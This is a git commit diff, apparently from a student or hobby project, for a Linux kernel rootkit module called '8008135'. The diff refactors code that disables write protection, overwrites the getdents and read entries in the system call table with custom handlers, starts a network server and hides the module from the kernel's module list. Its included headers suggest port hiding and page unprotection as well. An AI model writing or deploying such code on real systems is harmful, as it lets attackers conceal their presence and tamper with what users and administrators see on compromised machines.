dev_vlr
Valentin Lechner 5 years ago
parent 53e95217c2
commit ed5b2fa92a

@ -22,11 +22,6 @@
/**** includes ***************************************************************** /**** includes *****************************************************************
*******************************************************************************/ *******************************************************************************/
#include "8008135.h" #include "8008135.h"
#include "50ck3t.h"
#include "637d3n75.h"
#include "h1d3m0dul3.h"
#include "h1d3p0r7.h"
#include "p463unpr073c7.h"
/*******************************************************************************/ /*******************************************************************************/
@ -37,48 +32,39 @@
* RETURNS: int * RETURNS: int
*******************************************************************************/ *******************************************************************************/
static int __init init_8008135(void) { static int __init init_8008135(void) {
printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
sys_read_orig = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
// turn write protect off
wprotectionoff(); wprotectionoff();
// add our new handlers
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
orig_read = (read_ptr)sys_call_table[__NR_read];
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) hacked_read;
// turn write protect back on sys_call_table[__NR_getdents] = sys_getdents_new;
sys_call_table[__NR_read] = sys_read_fake;
wprotectionon(); wprotectionon();
printk(KERN_INFO "New syscall in place\n");
network_server_init(); network_server_init();
hide_module(); hide_module();
printk(KERN_INFO "Module hidden");
return 0; return 0;
} }
/*** FUNCTION **************************************************************** /*** FUNCTION ****************************************************************
* NAME: 8008135_exit * NAME: 8008135_exit
* DESCRIPTION: unloading Kernel Module * DESCRIPTION: unloading Kernel Module, restoring the original system call table
* PARAMETERS: - * PARAMETERS: -
* RETURNS: - * RETURNS: -
*******************************************************************************/ *******************************************************************************/
static void __exit exit_8008135(void) { static void __exit exit_8008135(void) {
network_server_exit(); network_server_exit();
wprotectionoff(); wprotectionoff();
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) orig_read; sys_call_table[__NR_getdents] = sys_getdents_orig;
// turn write protect back on sys_call_table[__NR_read] = sys_read_orig;
wprotectionon(); wprotectionon();
printk(KERN_INFO "Old syscall back\n");
} }
/*******************************************************************************/ /*******************************************************************************/

Loading…
Cancel
Save